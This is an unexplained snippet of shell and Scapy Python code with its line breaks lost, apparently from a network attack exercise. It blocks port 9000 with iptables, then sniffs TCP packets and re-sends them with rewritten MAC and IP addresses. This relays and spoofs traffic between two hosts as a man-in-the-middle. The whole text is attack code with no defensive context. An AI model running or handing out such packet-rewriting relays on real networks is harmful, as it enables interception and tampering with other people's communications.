sudo iptables -I INPUT -p tcp --dport 9000 -j DROP def x(p): p.src='00:1C:23:1E:4E:5A' p.dst='00:03:25:19:7C:B8' p.payload.src='10.0.0.20' p.payload.dst='10.0.0.17' p.payload.chksum=None p.payload.payload.chksum=None sendp(p.build()) sniff(filter='tcp and src 0.0.0.0',prn=x) def x(p): p.src='00:1C:23:1E:4E:5A' p.dst='00:18:84:17:C2:98' p.payload.dst='10.0.0.88' p.payload.src='10.0.0.20' p.payload.chksum=None p.payload.payload.chksum=None sendp(p) sniff(filter='tcp and src 10.0.0.17',prn=x)